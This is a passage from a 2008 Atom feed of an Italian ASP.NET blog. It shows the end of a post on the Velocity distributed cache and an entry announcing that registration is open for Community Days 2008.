&lt;a href=&quot;http://tags.aspitalia.com/Database/&quot; rel=&quot;tag&quot;&gt;Database&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/SQL_Server/&quot; rel=&quot;tag&quot;&gt;SQL Server&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/ASP.NET/&quot; rel=&quot;tag&quot;&gt;ASP.NET&lt;/a&gt;, &lt;a href=&quot;http://tags.aspitalia.com/Cache/&quot; rel=&quot;tag&quot;&gt;Cache&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2295/Velocity-ADO.NET-Distributed-Cache.aspx"/><issued>2008-06-05T13:22:00+00:00</issued><modified>2008-06-05T13:22:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2295/Velocity-ADO.NET-Distributed-Cache.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2295.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2295</trackback:ping></entry><entry><title>Iscrizioni aperte per i Community Days 2008</title><id>http://blogs.aspitalia.com/daniele/post2293/Iscrizioni-Aperte-Community-Days-2008.aspx</id><created>2008-06-03T10:20:00+00:00</created><content type="text/html" mode="escaped">&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2293' border=&quot;0&quot; style=&quot;width:1px; height:1px;&quot; /&gt;Non c'&#232; poi altro da dire, se non che l'agenda finale sar&#224; disponibile entro pochi giorni. &lt;a href=&quot;http://www.communitydays.it/events/communitydays2008milano.aspx&quot; target=&quot;_blank&quot;&gt;Iscrivetevi&lt;/a&gt;! &lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href=&quot;http://tags.aspitalia.com/ASPItalia.com/&quot; rel=&quot;tag&quot;&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href=&quot;http://www.aspitalia.com/&quot;&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</content><link rel="alternate" type="text/html" href="http://blogs.aspitalia.com/daniele/post2293/Iscrizioni-Aperte-Community-Days-2008.aspx"/><issued>2008-06-03T12:20:00+00:00</issued><modified>2008-06-03T12:20:00+00:00</modified><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/daniele/post2293/Iscrizioni-Aperte-Community-Days-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/daniele/CommentRSS2293.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2293</trackback:ping></entry></feed>